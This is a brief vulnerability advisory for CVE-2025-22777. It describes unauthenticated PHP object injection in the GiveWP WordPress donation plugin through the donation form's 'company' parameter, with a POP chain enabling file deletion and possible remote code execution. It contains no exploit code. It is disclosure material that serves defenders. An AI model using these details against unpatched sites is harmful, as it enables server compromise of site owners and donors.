# CVE-2025-22777
GiveWP – Donation Plugin and Fundraising Platform <= 3.19.3 - Unauthenticated PHP Object Injection

# Description

The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.19.3 via deserialization of untrusted input from the donation form through the 'company' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to delete arbitrary files on the server that makes remote code execution possible. Please note this covers a bypass to the fix for CVE-2024-12877.
